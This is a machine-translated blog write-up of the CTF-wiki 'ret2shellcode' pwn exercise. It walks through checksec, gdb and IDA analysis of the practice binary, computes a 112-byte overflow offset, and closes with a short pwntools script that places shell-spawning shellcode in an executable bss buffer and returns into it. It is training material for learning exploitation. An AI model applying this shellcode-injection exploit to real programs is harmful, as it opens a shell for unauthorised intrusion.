当前位置:网站首页>Learn PWN from CTF wiki - ret2shellcode
Learn PWN from CTF wiki - ret2shellcode
2022-07-02 03:07:00 【Big Ruida】
link : Configuration tool ,gdb,ida
ret2shellcode Answer key
checksec see :
no canary= You can simply stack overflow 
NX disabled = take shellcode Put in the data segment , Can execute
ida see :
You can enter 100 Bytes , Copied to the buf2, Cannot overflow 
original buf2 stay bss paragraph ,
bss paragraph : Generally, it refers to uninitialized or initialized as 0 An area of memory for global and static variables , It is characterized by reading and writing , Before the program is executed ,bss Duan Qing 0
Can it be implemented
gdb debugging :
gdb ret2shellcode
disas main
b main
r
vmmap

You can see 0804A080 This address is in the area selected above , Show rwxp You can read and write .
lea eax,[esp+0x1c]
mov DWORD PTR [esp], eax
# You can know that the starting address of the string is different from esp by +0x1c
So distance ebp The address is 0x88-0x1c = 0x6C
Then the return address is overwritten :
+-----------------+
| /bin/sh | primary ret Return to position
+-----------------+
| holk | primary saved ebp Location (4 byte )
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s start ,ebp-0x6C-->+-----------------+
0x6C+4 = 112( Decimal system ) Bytes .
You know the number of overflow characters , Next look for system(/bin/sh)
Stack overflow problem , With the overflow character amount , With system(/bin/sh) That is to complete the topic , Unfortunately, Mu you …
It can be constructed by itself shellcode【system(/bin/sh)】
shellcode = asm(shellcraft.sh())
structure payload
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
边栏推荐
- Verilog 时序控制
- Multi threaded query, double efficiency
- Baohong industry | 6 financial management models at different stages of life
- 【无标题】
- Mathematical calculation in real mode addressing
- Start a business
- QT使用sqllite
- 3048. Number of words
- [untitled]
- Principle of computer composition - interview questions for postgraduate entrance examination (review outline, key points and reference)
猜你喜欢

C reflection practice

ZABBIX API creates hosts in batches according to the host information in Excel files

MMSegmentation系列之训练与推理自己的数据集(三)

Verilog 时序控制

What is the principle of bone conduction earphones and who is suitable for bone conduction earphones

结婚后

Render header usage of El table

Missing numbers from 0 to n-1 (simple difficulty)

buu_ re_ crackMe

Jvm-01 (phased learning)
随机推荐
tarjan2
Principle of computer composition - interview questions for postgraduate entrance examination (review outline, key points and reference)
MMSegmentation系列之训练与推理自己的数据集(三)
Mongodb non relational database
2022-2028 global encryption software industry research and trend analysis report
使用开源项目【Banner】实现轮播图效果(带小圆点)
2022-2028 global deep sea generator controller industry research and trend analysis report
Gradle notes
[untitled]
Feature query of hypergraph iserver rest Service
【JVM】创建对象的流程详解
Qualcomm platform WiFi -- P2P issue (2)
Stdref and stdcref
New programmer magazine | Li Penghui talks about open source cloud native message flow system
[staff] diacritical mark (ascending sign | descending sign B | double ascending sign x | double descending sign BB)
2022-2028 global aluminum beverage can coating industry research and trend analysis report
How to create an instance of the control defined in SAP ui5 XML view at runtime?
QT uses sqllite
Force deduction daily question 540 A single element in an ordered array
Competition and adventure burr